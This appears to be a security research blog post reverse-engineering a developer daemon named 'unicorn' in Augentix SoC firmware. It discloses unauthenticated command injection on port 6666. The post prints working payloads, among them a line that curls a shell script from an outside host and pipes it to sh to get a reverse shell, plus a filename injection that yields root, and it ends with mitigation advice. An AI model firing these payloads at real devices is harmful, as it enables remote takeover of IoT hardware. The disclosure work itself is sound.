While reversing a device, we stumbled across an interesting binary named unicorn. The binary appeared to be a developer utility potentially related to the Augentix SoC SDK. The unicorn binary is only executed when the device is set to developer mode. Fortunately, this was not the default setting on the device we were analyzing. However, we were interested in the consequences of a device that could have been misconfigured.
Discovering the Binary
While analyzing the firmware, we noticed that different services will start upon boot depending on what mode the device is set to.
...SNIPPET...
rcS() {
# update system mode if a new one exists
$MODE -u
mode=$($MODE)
echo "Current system mode: $mode"
# Start all init scripts in /etc/init.d/MODE
# executing them in numerical order.
#
for i in /etc/init.d/$mode/S??* ;do
# Ignore dangling symlinks (if any).
[ ! -f "$i" ] && continue
case "$i" in
*.sh)
# Source shell script for speed.
(
trap - INT QUIT TSTP
set start
. $i
)
;;
*)
# No sh extension, so fork subprocess.
$i start
;;
esac
done
...SNIPPET...If the device boots in factory or developer mode, some additional remote services such as telnetd, sshd, and the unicorn daemon are started. The unicorn daemon listens on port 6666 and attempting to manually interact with the binary didn’t yield any interesting results. So we popped the binary into Ghidra to take a look at what was happening under the hood.
Reverse Engineering the Binary
From the main function we see that if the binary is run with no arguments, it will run as a daemon.

uint uVar1;
int iVar2;
ushort **ppuVar3;
size_t sVar4;

DAT_0008d410 = 1;
}
LAB_0000bb7c:
puts("aborting...");
/* WARNING: Subroutine does not return */
abort();
}If the argument passed is -h (0x68), then it calls the usage function:
void USAGE(void)
{
puts("Usage:");
puts("\t To run unicorn as daemon, do not use any args.");
puts("\t\'-g get \'\t get product setting. D:img_pref");
puts("\t\'-s set \'\t set product setting. D:img_pref");
putchar(10);
puts("\tSample usage");
puts("\t$ unicorn -g img_pref");
return;
}
When no arguments are passed, a function is called that sets up and handles client connections, which can be seen above renamed as start_daemon_handle_client_conns();. Most of the code in the start_daemon_handle_client_conns() function is handling and setting up client connections. There is a small portion of the code that performs an initial check of the data received to see if it matches a specific string AgtxCrossPlatCommn.
else {
ptr_result = strstr(DATA_FROM_CLIENT,"AgtxCrossPlatCommn");
syslog(6,"%s(): \'%s\'\n","interpretData",DATA_FROM_CLIENT);
if (ptr_result == (char *)0x0) {
syslog(6,"Invalid command \'%s\' received! Closing client fd %d\n",0,__fd_00);

client_command_buffer == (byte *)0x0)) goto LAB_0000e02c;

send_response_to_client
((int)*client_info,apSStack_8520 + uVar9 * 5 + 2,command_length);
}
goto LAB_0000e02c;
}The AgtxCrossPlatCommn portion of the code checks whether or not the data received ends with an @ character or if the data following AgtxCrossPlatCommn string is NULL. If the data doesn’t end with an @ character or the data following the key string is NULL it branches off. If these checks pass, the data is then sent to another function which handles the processing of the commands from the client. At this point we know that the binary expects to receive data in the format AgtxCrossPlatCommn<DATA>@. The handle_client_cmd function is where the fun happens. The beginning of the function handles some additional processing of the data received.

break;To test, we manually started the unicorn binary and attempted to issue an ifconfig command with the payload AgtxCrossPlatCommn14ifconfig@ and the following python script:
import socket

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))

data = s.recv(1024)
print("RX:", data.decode('utf-8'))
s.close()No data was written back to the socket, but on emulated device we saw that the command was executed:

One of the commands that is “allowed” per this case is sh, which means we can actually run any command on the system and not just ones listed. For example, the following payload could be used to download and execute a reverse shell on the device:
AgtxCrossPlatCommn14 sh -c 'curl 192.168.55.1/shell.sh | sh'@
Even if this case didn’t allow for the execution of sh, commands could still be chained together and executed with a payload like AgtxCrossPlatCommn14echo hello;id;ls -l@.

Case 5 appears to be for receiving files from a client and is also vulnerable to command injection. Although in this instance spaces break execution, which limits what can be run.

break;The format of this command is:
AgtxCrossPlatCommn5<FILE> <NUM-BYTES>@
<FILE> is the name of the file to write and <NUM-BYTES> is the number of bytes that will be sent in the subsequent client transmit. The parse_file_size() function looks for the space and attempts to read the following characters as the number of bytes that will be sent. A command with no spaces, such as the id command, can be injected into the <FILE> portion:
AgtxCrossPlatCommn5test.txt;id #@ # Output from device /system/bin # ./unicorn dos2unix: can't open 'test.txt': No such file or directory uid=0(root) gid=0(root) groups=0(root),10(wheel) ^C /system/bin # ls -l test.* ---------- 1 root root 0 Apr 18 2024 test.txt;id

──────────────────────────────────────────────────────────────────────────────────────The research shows that a misconfiguration in firmware can lead to multiple code execution paths and reducing the remote attack surfaces, especially from developer tools, can greatly reduce the risk to an IoT device. We recommend that manufactures of devices verify that the unicorn binary is not running or enabled as a service. This would mitigate all of the code execution paths described above. If you have any devices utilizing Augentix SoCs that have this binary, we’d love to hear about it.
